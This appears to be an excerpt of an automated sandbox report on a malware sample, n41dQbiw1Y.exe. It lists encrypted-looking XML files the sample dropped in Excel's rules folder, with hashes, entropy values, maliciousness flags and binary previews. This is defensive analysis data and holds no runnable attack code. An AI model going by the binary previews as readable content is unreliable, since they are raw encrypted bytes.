Preview:	<?xml..W......dE.!..1.-.\|$3.#2...ne.WE)..<.....R#q[.>5...2..p...E..fg.....VWD...%..i...u..tcz.b..u.!.......u........W.I.RQ2..4..6.?............-....C..........g...p.xZ.;...'...Cg.j2'........j....+...m....P6.{.}P........r.]..-.........7-v!D\|>..5...1#g.._....N.~......_n.x.ev..e.....[....o..].a..4R.i.s.E.....L..m.%....u..Z....G .l...T...!.aW.M....O..q.0W...).....y?.D..........3....[/..o.U.qXXG+.:..r..t....5q.....Yn]2.O)l8.Um..).0....p2.hF.3..5..K..p...@.xv>..)......c.\|.T<8..0.!..........j.j+G.....G..D+.:s.. .#.L..@z...<.T..v..t(K..DV?.+.....9....db.j..o[d....p....Gi.;.6..#z.9... ....l@(....tg.B...FC.7.IN.D...8=B.E..N......"~..kK..y...U3dc4....Z.#.,#.....$.C....a. . .K+.8*s.%..%..bpU..&n..wF....}...q.d....d...4?\|9...LS.........z.'..^.$ .... .x.^.........O.n..V/.vb....m.n..m..C...#.5o..x......ZE].Y..4."9..pO........e.....z.L.......dv.b.M.,X-[u..tF~.0/)9......Mw.!&..".....i...q.Z_)Ng.]o;2q..5\|..H.u..%E!<.Zg.u...M..x.B....lu.2i.eS\._.#CB...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.7173765610261125
Encrypted:	false
SSDEEP:	12:oN0+ZHY41pWme1CPowEJeQAcSMLviFG1fAgzr29T7OYHIYefYcii9a:om+Z4U8mekcniE1ffzC9vldbD
MD5:	385D39D448A63228AD7EB648A04C0CAD
SHA1:	C474932081E25B2CFF1E8F28E34BEFAD453F7C9C
SHA-256:	546FB73CAADA2BBB2DBAE714DA949A48F0593441F5B79FD4A2AD51821EA8AEBB
SHA-512:	26339B156ABA88C2B549DB9DFCCDD8ECFCA27BABF2B292018B759299C975BA38EACBD7D345E30489FAE6343B85635967202C4802427B1D6A693CC63FFDEC8408
Malicious:	false
Preview:	<?xml..h.i.....[.O....y...^.1;...X.#...C.m..(........\A..M%.\B.,..!....e[.q...6J.....]..fg...d..-L9(.e.... .>.7]..J.7.XP..E.......Z\.tF...j.....M....d...Y....<...Z.g.hz.p....4..f.p~..+.i...........g..m5.$..Fc....k....'.u.q.E^.Vu..O....i.l.zj....X.U2Xo....+o..-#..GV.8...S)s.O...KS}~...uE.P..&..U.[...%4...#.F]......9C@..+.n.....E./.z.uB..l.....U......`.1".+...RA.u..Bp].\..<....S.gR.<\...$..... .@...\..<P...U......p..c\.6.Qq.<RI.d{..5`....{.=...)^(...X...S..-"..:....Ef>.g..P.....oQ..;\.R.^E@.......2.ao.g....?.S<:....R.A&._ b.b.f@T..^.";........K.u.Q.th1zn.KyR}e.Q..P=....n..d#.m#.......lz..a.eX..q{y...o-w=Xn..\|W...vl<.q..P.}f.6.2.q..OA...~m......C."..v.."...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.91424605241353
Encrypted:	false
SSDEEP:	48:I5wvWaHYdeJF9sCRq7iHO8Fgj9U4Dls9325hm7UD:4whYdSFat7iEyils2hm0
MD5:	85FEEF76EBF5F02A19C471D612BA0B97
SHA1:	AC8FE4177952D8C15313011CA4F664FA359E9C14
SHA-256:	4F5760CC1D7552D028007DD5191601D2EBE95DD323DAE3CDF51598BEA0AF647C
SHA-512:	F9A095DC484076725BF315F42C5B58A6F9F0BAF12AF132768C359C97093574E2474D536B50C41F0581F69FE35DB461B5779C43183FF60C5D8C527064B17E767C
Malicious:	false
Preview:	<?xmlcj....\|..<.$p.u.+......Ln..n.I......... y!.rA!b."...1....e..7.....y.Wb..$.-...L....d?..~^.. .\|.!..<H.y.(.P...F.....b.LK..6>.."...@..7:p0Y..Z..z3..Kws..\g...\].>.."....I..&0+h......u.<uF+d.W..XN...%....N..x....KKhv...!.+..Y.~FE.tay<....$.+.To5jru.J.).....M~W....J1&..?.... .F....Af.1r....V..........IyJO..P/.aY...R.}..L....\4.........i.....&,....F..F..!...M...}n}.....]...A.....T.......9..Q.u6.Y........#.;..S.1..HK..P5.G..b..n..!&.B.U...abt...7......-...T.....x..)".'.@"...`.z..u.n...ov...wg{K.]...A.<H.m.....O..}\.v...(R...bU....P4>..^z...<-I.s..\|.Ra.\.cp....?N.\..(...,..Q.........VDwVr....e..Oq._..v:vo..X.T..N.bR-/o.-@...}.M4..f.`..C\....R...2.\|..o....E..`....9pr..H7 rZU..!.....6o....S...d=&A8.~.....(...G8.R..r...)-.L..........=;N..W.......0#GZV...[.#^....~...#.SB.3[%...2.q[.7j.u.@..V.=."...B.9.,...1..'.T..U8.S.QM..T.A.....K....`....w.....T.M.Rj..6&.bk.k........%..O....m.&..3...?[.*..[.......d!..b....3Z+..d.B9.G.).......y.0R.X....\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.9959671307368225
Encrypted:	true
SSDEEP:	768:hjvE59RhSvqLDRm3E2NEEMZ+24Ekoitv6ur1+UC6wXBI7KU2sjFrt5:FM1Iyvxhpkn16ur1I62OKU2S/
MD5:	1E22F730E2D0FCDB2D89BBBC523E2FDA
SHA1:	82E80A222FE6F0C23ADF2CF50AD6DE7B4BD47A4B
SHA-256:	947954B7689D79792FD9BD2DA95CEE4D8F99E297A5EC9FC1FFC4EE26C269DAF0
SHA-512:	F8594D14E4D382BC850824595D1744D6EC97C1E5DDDF25A7AC78519EC415F75A21B3BD6B6DFD953A1D55A55184D27C5CB9CFB6C7BF76BE2D33ED647D2E403B17
Malicious:	true
Preview:	<?xmli.."..a....eV...g<@.l..W..7...?..9.Y$.v..:.5x...N..;a.L...[..M..]..}.-b..k..r..b.L......e........L..Y..W..U....sx..........ygBr.3@..@.d....E....,T.R.zs~..x..ck~1.0../..M.v<........FU...K../......f.r.[.o.BXp.S.[.,..a.u..J..a..gF=3...5..w.......n.Y..)v...i>^.".,..S....!.0o.\|c.E.uE.(.2.,E..u.t.3.T..P.u@!...:j@4.....M(3%!czQ.q.>6\..lHZ._..h..(..-..q1Sz...m.}$.,-....J..a.h.g8...)...N......UuO<..p`.....)Pojv...T0.'...'.......PEA[.n......ae..YY....K..k..V..y7=+.dV...1....I.rK........t..k...z..y...O...`.M.Y.b....}h&..=P@..)...........1^..:i.C.V.k....^E.*0.C....Y.)..Z.......B.+..c.Gy.+B.D...g..GG.D....`.%.1.".......(............zJR.(b...&5...Z. ...-.F0/[I.>.M...x..b.../z0+..(...S.O....g.b..\N.g.2J.:..#.g3_l`....C.q......}T....8%[~qn+K.......V"].....e.!.&.Xw........h..>j../.`.../.;..E.Q........k..#6..h..~m..Oi......F._.k(.`......A.."..9....g.T..lk..^....d.G.}..H8N...##v.x.}..M...O.`A....n...>..kA.V]v.....A^..(.......V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.924566672631775
Encrypted:	false
SSDEEP:	48:F7IuV8u/iBPV2ox/aC8StOkjz33lz/yNr85AbZ76EhIlD:78fZIaaTUOKzl+I075S
MD5:	61BD1702425ACC8A49B8194FB30C768B
SHA1:	4DC27173AFBFF7944A224AC96F606C920EE5FE6E
SHA-256:	68D13AB0059FA129435DED7F183B7DFCA12C8F7389C2A266DAD6C8CA090BEEEE
SHA-512:	8B94FA81255E58B2328AAACFCB3664FD51FAA2046DAF79B35635CFC745C2086B994CC39E351FD71FE720ADE98DE99ED6AE64444549F3544805A0C8A1D0892C98
Malicious:	false
Preview:	<?xml...=6F^F..R].y...W.(U..Y!......B._../.\|.p..tL..:R2.I.AhrM...P^.P@W...:.5.&b.y.]Ta.S1.7....../..w......d... .4,....M....../..c..n....+c...S-...c~'.J......7..C.G.Yd..w.P...^cw.41M..R..<u.e...ax..X..D....?..i.5.)y.VQh.(..T<W.Au..TGY..qm......Z..T9....x........:d...mL....4b.g^.c..g....S.'....nHE...$=...dD...Dp1..-.....dj..:.....0.A..vM!}....`.D>%%.q....S..(^$dt...V.<..a.hZ..J.[.8...cTl.G,....x.f....(.\|~O.Xf.....'.V..z\.e........x...12....M.{(.x..IdS-.n@\|I.w..o+., ..zIJ.....(.Y.....1..a.......R...".l...y.`.@..(..j.V.[jk.,.0..yv%.0..._.an......K.U.........../qY..n..hCi.C{..a...*..O.F)6I......v4.a..+..Q.).y..(v.x.P.....B....Q.I.....[.q...1ZN6s.L.....i.s..h`./_0..^.Wvj... #y.0. ....\|......=M....(r.../H.,<.=.9JG..........E.....;w.1.........).P...^...K..j..:[.........m./.`e...i..h/s..P.....}Y.........i.2pF./L.....En.P.Q._.....$SF.....j.s..z...(..L..K.j...y....u5..gK...(.{R.H..$.....F......l.....a...Ad.'.# ...g...P.GO+...Nw.!Y`<;.j....s^...ko

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.921967858787126
Encrypted:	false
SSDEEP:	48:HE3XnxhdyJ8zxVUnfRL6N2j31iWJ7+Sws2KtQpgOSCS1vua5K/DGDhYmZ1DR5D:UBXIOzUnfRL9jgq92KtaSNdK/DGxZ1Dj
MD5:	A1818322D3958DE63EE59F5E336B76CC
SHA1:	39D1819CF8822C33FEDC3672F93BDF4F81BB5D2C
SHA-256:	57AEECE9F845FE22895590190E14434554BC6A0E625F3152F86AA4FE87049DB7
SHA-512:	09DD7319F467E6A28C7F72D3BC05564B6307EF6AD15345BEF9152F94F76941D3EE8F3C8C0037CC60BAD48F179E8DCE312CFB75186D60EB0997557CD321D6B476
Malicious:	false
Preview:	<?xml 4...0..Uv.x....U....xt.^..P.pQ5....K...e..0.<58I......\|.....c.8..w....ON......L[...=.#V..M(8..H....C.wJ.$.....r..m..;.I.4.y...g.k.2...P...[..........9...;..}^.&...f...rg....=&.."..C...5.~..i0K..n..rm..5;..}V.X&"...O.y.ul.17..)..0F5...8.w..R....q...u..9Lu^.&_..W..!.;J.V..8........#.}..G,.>.dI.j%Z-..xe[..G..#K......1.........n...`q.i.z{.Y..LX....[.!.z.....S..Kz.~\.G.../+Q.F.\...H...Fl.^.Vy..Og.r.\|...&g.1Zj.w...EO2~.J.k.'.J.a.".....VUQ.!.E."...c..R.8Q..t...........E.......ngZkJN......D...[.D..oWo...m..txul..s...1......~..nW....b....G....o..s&....w..a.....w.7...HfjFiJV~.!qub.<..{1...PE...x....}._....{p........Ia..g...11...[rKQ."...+:@.P.PsM........1......0.'.a.p..`.7...N.u...HO.4.8...F.........#........h@...%p0OW...jm........^...B:6......._r....%Fls:s.......'...Iq. wZsj.g!..^_.H&p.....X.S.T...Td .~....,.mt.I......../.v..2.Ht2..,.....2#g.R.Jx...9.<.4N..P ...X.MURM2..~Uhf\|.k.{..e.D,T.....4M..,$.Q...+....>sz...l.n.....X.m....(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	41208
Entropy (8bit):	7.995370756297537
Encrypted:	true
SSDEEP:	768:Pva4E+IuX9h4gc1cHGFbb1S5WRiZVEBGA49lFgR/qlUXIlvr:3c+5X9g1cHGpo5WRiZVZFy//Svr
MD5:	F390B747EAD4CDAB97632242C60EEC76
SHA1:	A170587DFB017058D4B8253B3B33D257EB6BB11D
SHA-256:	14701DC025CD154E16A1CBE9EA91F9CDEC924BFBB1BC8225038A10E7B017A209
SHA-512:	94302E4CB914B15CB46410B64EEB1436D939FBEF2896958F60EDCAE4D2E5F1148A6045BDA7EBF1FD34E210732A99D73F32F545CB032D8CA3477A1F26E3D30741
Malicious:	true
Preview:	<?xml....G.....n.J'........J..5..y...........+j.b....d.....'..cO.a.j....'.[.b....z..}.....F.n.A{.\.#.m(..........4Y........n.He..........HZo.$U...........dB...8.y?B-..../~)T......Ym..[U..m\D.)/[;..~XX5...N.].].....[+~36..C.m..`.w.\...X......l.h.5^.@P..OQc..G..G3..x.6v/..h...b......%.2...f.6;..i=W.U...+o.E.v2%s.\._W.RG..a6......O.x..7Y.)<\.->.../Ek....x....1.....O.6h..m..h?..)....M.......Uv..mi......".9.AGE...b..O.....YW.\|...{......e.+N.2.U....c.n......fy!Ez........C.. .X.FE...mD..z%\|S]V7r....$...4<.T..V.@.b.8...]x.9..6...{L...c...l%.8.....:..2...>w...p..x..dj.`.i....l.J?...1.B.e~./@K..5zp....E.As^.k..S...:.y.o.{.....C..U...T..gZ...3.....%d.J...C...6....6...{J........Z!8B.m.w..W.m.....M..f..R.51.>].b.Po....b....)F....\|%.vHyO....(....!b...[.W.k$M>..<..OC........_.R=..d..0.V1...r./i...*....g..g..:j5Z0..GF.aXX...K.... ....>\t..K.s.C>6.@.&.....]$.._;.XB.p.)..s9.5-5:.&V......8q.E!.}..%+..%X.V..oZ#...<.9.....-.;}.Z5t!.."....3..R.....Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460008v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.724693302596771
Encrypted:	false
SSDEEP:	24:+GjT01ex4s9qqrTnpiBj8bzBbfNI29cbD:+GjY1DcqqHVFVIBD
MD5:	53F0568A1D1F4C75EC1CD245611053AC
SHA1:	69FFF7267ABB4B7383DF371EAADC58247CB03950
SHA-256:	038B6B6B8698F4AB362A979A1EE716502D6CD82DEC7683008E6EF4215D55E8EB
SHA-512:	952EDBF095FECDC1BDAECEBF0B8F371F644A416B9514C21982EB9C701D8DBAAEC654D2632519A7CFC7BAEA430F72C65C060478ED68982FC567A3148D028CD42E
Malicious:	false
Preview:	<?xml..&..O..C..;?....J._..{...D._......nl...Kx..[.!7N.$.z.a?w.~.f.....:my..R...~...k<d_."a..d.eT.d~....M.t.....Z...0j1...Z..#Xd..D...mj.Mm./If_.....H.$.....W....[P..BF.0......v...YW..a.S..Q&..oU...L.(wT....Rx[.....k....{...;..;. v.."..v....D..=....rB..t....C.......L..s..y.un.H....6.,B.....P.:ng).l......F.]...=.n.L.....m....x....u..0V.\|\Q\....:...l.Q"..?..f......5pg.X..<%'...20..@.p...S%.P...V.......,-.R.j;R0..=4...........,A......v....S.+..[5...@,m;...`.......nT..%.g.`.....0 ..k...y.).nK.......&_o.......)N...(..z..n^..5...WU....H.. uE.F..CU#k.}l.?...]:h......p.u-.....0..b6)A.......1.^T...t.;...<3%....y.`k.w..F..$lZOZ...'N......:../..Ah...x....^....1.R.J..D..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.729803508077321
Encrypted:	false
SSDEEP:	12:qgT43cvGzFh6ONgDhLt8KpSlry/o7XWF38noQUA4/MOHdg+7Yjp8EzfOSuoY5fYK:fOJYukL2KpcraYX6qlhoZqp8EzmSuoiF
MD5:	F19B4801ABEA52295522BAB2B8CB9FC1
SHA1:	1E0D6ADCEA37668D54093EFCB888EA1601C898D5
SHA-256:	B4F33A9DFA85552A3E4D1D088741AA9509F21EFA820BEB7367DFC83FFDD38F0F
SHA-512:	49964758705FCE78482E5F6FBDC7DC555667A41CFACA4E8C17D51712AB7F47083414029FF4B3DD68288F47F7B127CE8E4001B6EBBCE615A520BA45EACE064E00
Malicious:	false
Preview:	<?xml.S.B..D,.D.......E.Q....'#..'k.d7R.@%....W....7t....xA.....F.(.\|c.sj.'e....He.{.\.5. j...h.V#.fI../D...=.+[.R.w.Vj..AWe.\|.F.U.d..\|'.n......e.....a...Ym..\..eo...pg)..L.BY......`d.E[.(....=..H..rj....%w...5.Z.I..b.>.%......m.....V.rf.3_\!OTU.$.).\...v...%..e...\:.j.P..:z .1S..Z.....6Kw.V..{\Hk..A8........Q...xA.....]..E]K.U+l]......k..&.+..I/.g.P.^...\|Z+Q.H..............[. o.#.....W......N.........XQCOtat....i6.......^....,......#"...(...K.C.....<.\|z....b..#Y.q:.P..Zp..{v.g......C......{AF6......?....W:..Uw..g{n.Z.........8...IM.LD.........SM.A...6.M.......<=<.g.9....:..1....2.S...D/...}wi0f..W.sI..v...I'....uG..l...._.J..B..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.82569731764002
Encrypted:	false
SSDEEP:	24:huW29IJ5ggCXTe5QdQcJ8Shk9L3OSgCZktZz5H1s/ZC0eiEfJ35SsAtbwbD:jb5g9TeJc2r3LgWktZzxCwjVAUD
MD5:	91F7F248E6FB5ECD7D9CB6DBCD836ECF
SHA1:	6F68940D5EC44CA77CCFBA1734301135985971C6
SHA-256:	1D3ECA04D135D8E086EF6558E0ADBA11A3C691CDE889FBD2EEC2BD015223D9C7
SHA-512:	E5C73FA6AB2F122E4F821C5E64BF199F6FBAF0BD39BAF2743D5CFE73946A15D8D20CB55BBEEBFB5746323F2A5330345599C87A71F1CD7FE7747B2DDB45A58A6B
Malicious:	false
Preview:	<?xml. 3...n.u!&.M.v....tA..q.A.....3...#3....#ox...\&~'......?.N..\|l_Y....a.`JMZ..C...j`4&>..D.^y-)GZ.. .!..8AJ.8..+!.B.W4..fG.`c....N.3r.2.p..6....C.l.......y..."...^.A..v........0........}..i...p..9..t"$..d.W>....2..,....%.I..C.#..AO.n.!.e..w....E..FD..y.....C.4{..X[7.\.e3..!7<...s^...A\j.5.6U.....4_0..M.....gr..b.1.O5.....J{.B......kB.RH?.....}.W.Q"...'....!.7......xNB.Q.kY.....0^..Q..#....?.....?.<v.!{..;....S..O..x.8.k....v-_.o.......Y..=.f..........QBP.#..?,..)I.........0.$.a.F.r..e.@AO..R..g.P..)au1##.._........V9..Gf......k.hM..6I.S....p.M.M.....2...{..<.....N$i..H.....h....LFS=;.....+:_....~..Z..........J.....f..Q.f~....d.U{.M.f.A..:....Y.............5.a....gI..J..94Tg.s.5..y.U.X.-ynN..f.}.D........F#g...Q8.A...4..V..!...t.]....3...{+.....M...%.........&=.._.S_4H.....G.:w3=.O19[.}.=...;....tZ...w....=........~.Wq7L.p...\,..."G.S..tFh...ge..Q..r..).Nm.X....0...q..7.......M ...@.~<........yM>:d@._.@E..AI...R9..."k....]..s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.782366459320165
Encrypted:	false
SSDEEP:	24:fZGpPO67KJ4BArTHk6P+9TKuOkLegm4Srct7LybD:f8pG6C57k6W9TKuOQexgxsD
MD5:	BB147135DF47CACD7DC51745231A1872
SHA1:	327207153461045386FADCA2F5EAE99045870193
SHA-256:	D8B3A6B4DBDD18C432A7E35B43A8A3EEF5B876D8070F8B4C6E2EF457476B9213
SHA-512:	BACDB44737C39AF106A8C3FED321D136F955BE7E7AFFE71BB5461C11491E1061EA751D5DADDB9420413228BE209ACB6540EB4FCA9102CA175A263AE055FBB8F7
Malicious:	false
Preview:	<?xmli...1z..8...C)...B.u.Dr..MW.cR..;O..,gq.co[.:Wt.......g.&..n..s_.+..f4.U....qrQK.I..V._0...^..m......>...'.jP...R9..J2.......ch.k.^.X..#.;..ME..l..<J.$.s0...] .q...U...f....0..G......c....E....@.w.....<.7...@..\|...m..........c.....O.=.b.i..v(o+y...{.....r......W..2..4.U?.k5.......W5..]r...z.P..t...\Y.k.g.....If..gp..M........5...@....V..z...L..V.Q.?.+7...4.....C.X...$&]........5.w1.......G.2...$...2....s$....].] .)>X....Y.Y....A..&....=.5.^....3X........8...q....Nk.'.id.Y...7>..~G..I...m...5..}.D...y.+.ygwO.....d..../mJ.6o.Er..\|Z...Js.......(=..).\=..d.9Y.;Q<..# ...I.........<..M..@.O.`...r..:x_.......& ........z..$k..4X..Ku.&.,.{..f.../y.8...D..3.9,_P..2......$.....f=..G.(.J.\Yr0..$.P[...V^.....;_*o .&e.}.....(.......x.o.Z.Z.F?.04..?.....>B\|.......r....V.3.9..E.....-.!.p`.@...............'K..R.n.X7zFoo..P'O.50hX}.n.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.791866519197478
Encrypted:	false
SSDEEP:	24:38OQLhcXfEi57fQ/k4g0ZjMZDJwDflMxdecoeK/+OWzCFIGeBbD:38OQK1574/1gqj88flQpoespAPGeRD
MD5:	291AE1C8D135A69A71E9169F3E2EA397
SHA1:	4B073335EB60E8CB2C85C1476FF44257B4D58399
SHA-256:	A9E9A66EF7CEA5310C431BAE1CE07F2D16D41C006204D5F3F482F462257E77B6
SHA-512:	1DD5393B05CB7831A25873009B81082EECAD01D4F5D02757D3801DDAF9769D9450FDCEE411737CDCC4978B1BCE84A690ACB49CA579C615C761C7AE9C1567E3D5
Malicious:	false
Preview:	<?xml..y.O.:......o.a..K.k..e.+.vk8.Tan6.%=.4..]....(.~...,.>.H.....2..1U......p.2Fc.v.3..h".....}6V....AQn...%..n..~......rv.....r.]2../..L.&.+>.\..D#..`.....\.....D....b.a..0....69....,.Q.m..hIW8l.....#..1./....gx)...L4. ...U..AM...k..l.u....=..t....8.M.X...-Zf..\|.,b....;...:i.. ...UOI...!#........A..`pkf.......A....l1.q}r....4jN.R.H.......V ..'V..f..E.~..}e...+...DW...C..k{k....2..M.o...&..~....M.h?.6z....^.5....R.@........c.M.qt}s.%..+..p'P..Al.%J......H.Z..7.Nj.1....@..f.qs..K.2"..vI.~;.P{..<......=...".6..`....z.NP.u.W.. YpM:..Q..R.L.[#.TX..>j]D.\|"......Z2n.X0RP..2......%a....x.T...f-.e......o.,.%j5...`.xOaU.1yS...ThO...H...c....e..=...\$..L....q....G.$....X.!;.M...`..7.5....}[...r...#p..........V.."...^'.............l..~....co.R...I...0!H..$..d1.....:.o"..'.&#..+...0!.....c...D..Z,.P.V1....P."e4i...<..;Hn........;.j.rON!..K......4T.......B..G...jN\|...4?..... .....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.807319729240169
Encrypted:	false
SSDEEP:	24:AfSeweFSjoEZpr9JHIFNZKR+fOc1XYw/TPQvTgsNLi5A7bD:7eweSoSNEMRL0XdPQvMsNL0A/D
MD5:	7BE4B80C6C2B8627316424B46E7A26FA
SHA1:	200B84471873A3A4D4D7CAB7E15E23FDD8C7A6DD
SHA-256:	0B6CC7702D7E9E1AFC2B39DCB16C1B279D7A86DF9116C774C58A4AC769884487
SHA-512:	C5E4336B348772BEFA000FD16C291ACEE69A1D71B2B29AB5733235110D864FC57AA241F86EDA51ECD6CDF375564017490D3D046591B1B431E6F54D6DD5A808A4
Malicious:	false
Preview:	<?xmlgg=....(9.....N....gT+\.S......u.>...Q..^8T.....b.....Xo....OQ}.x..B..M;..o...wXq.A..ue..g..a.;..R?.{.0."#r..#....zQ...w.S...t1._....7.?2.V/..i.S0.Z``8fI...p..r.gPim..n.".1.../\.?1s.C.w..>.........x..a;.,3.c..._%oE...f.".R....Q...=T.\|. .n.H3...?....<.si..4a.n..........4..b..R. ..%.?....e...K.,...<..=U..[#.........4..tz4.b.E.4$.rbX\V......a... ...z.;.>..YN.F.......KY..H.=......z...y...;..n....j<d.u..x..g....Y3.(f..Z.F.d.^..<~..+..4....Y\|.o.7......gy6...p....k;.~.D..t.......F.`....87wvi.pJ.:.l}..H..W\....g.2d.].\|.HA..._..JQ.dR.;}% A..'7.....$PX.L.u%..0.......t(Pxv...1.g..8K.&".M.)...~.X.l...Y ..z.e."..Y\|W0V.&;..ukY.....?..7y.[.uy6a%k..`....\|.............."...........U..~^ZI.H..`.c=.o:..".L..$.........K..d.i<ub..$.C.......`........;.c..=.........RO...,..4c...{...U....7....X.-..#.nj&2K..G.O.Y.;.........l\Y.{..$.3.Z4r.)0..vZ....bQ~E....R.Iz.{C....k.R..z$....}....\|....4.<..s..3.q.+...$......bGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.8743722443601305
Encrypted:	false
SSDEEP:	24:W479VO/31GoSXode9lWYkkZ9cTAPN5n51AfOycLKbD:W479KGjode9jZTPUfOycLoD
MD5:	5F2CFC27652488F49A429371AA6B40F7
SHA1:	EA3F62368A49E5A19DB26A070960A76C331B2E8E
SHA-256:	4508325211F5797C2A9A071A8F9C6B4347ED248E024C73517C4DCB0DA744C440
SHA-512:	4ED4356703CAFF070F6FF200D02D9E238F9CD2F81941CCF7EB81664CAAAC92880EB2FF2C14A09FB15805521E9F3725D2060530D09FFFE85BD50E9ACDD1F322BA
Malicious:	false
Preview:	<?xmlN.......j>t5.h.#.L(>......x.,.w........#..y.dCIL./.....Z.>G.j.\|.Wc....(.....d.W.pY.Q$.z.}......a..p.....3.p..`.....v.....V.yi.z.=F..4\|M...M(...j.......R..b)..k...C\|.........W.y....v..R.q...Qp..ad.K....u618en}.....q....6e..SI....D@.\|Q.U}4.]....Q..1.w.2h<N..gl...?..Q..hY.4.H..A..z/]..f..I...'':......3...h.t....M.+..y...\|0.7<..I$...C..j[<={......I.s.d&..q.Jc3g....:.Mr...E.WX..)3.....&.U..03q...X.J ..g.9..........z_....../...g.m.....O.+q....Q..&...s...f..k.U....$0.._..$M.">.k..;...o...`.].9.:.}x..P...A.........5.n...q.w.x.....D.my.b.......u...R..1.....mwKg.B......A~..M`C....%:..1.A....u8]. .....Y..%%....0!......D.##..T.0.r.{.uJ:...rY.Hc!.X...<:.N.m.:.....&s.WC.4j.."...>..d2b..K-.O:......ZC._..YU.].lO...o..5...F..T.^...........=.X ..urs;.6.J..)r..q.!...5.F.w.l.@,.."...%.W.T1~.(..+e...2n..&"[.&...v....j...'..... .+2.j.a...S....wv9K2.....!.....3.(.=.z$....1:...;A......-6=\.m.!$..i+$.Qq..0 .].J:G...=i..k=....h.W.d....A....!.b....}5:.Ak.T..x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.824302584459806
Encrypted:	false
SSDEEP:	24:quA4jZMb9JEPQxIbo43R5hPm5ZwBJ0Isc289xFb+BkerZd5576a/kZbD:qIjZMhGPQSL5U5g0Isc289olv552ZD
MD5:	30D20EBEACCE48D8F77063E9E5AB7E4B
SHA1:	C18DE178B94D6D5EA355A6193F1E46918F14DB9C
SHA-256:	88CEE6814A44544030D5CAD5BBFE7E58D0E2D7420F860C2FA48E7DE4EE65EE5C
SHA-512:	DE6384285AF7AED46C19A674CF5BBE78325FFFB30B78D41B17AC83F27468CF993FE2F31FF68146D87CD00818E3442263DDF5F2C4D752EA1993922C369A6DEE6A
Malicious:	false
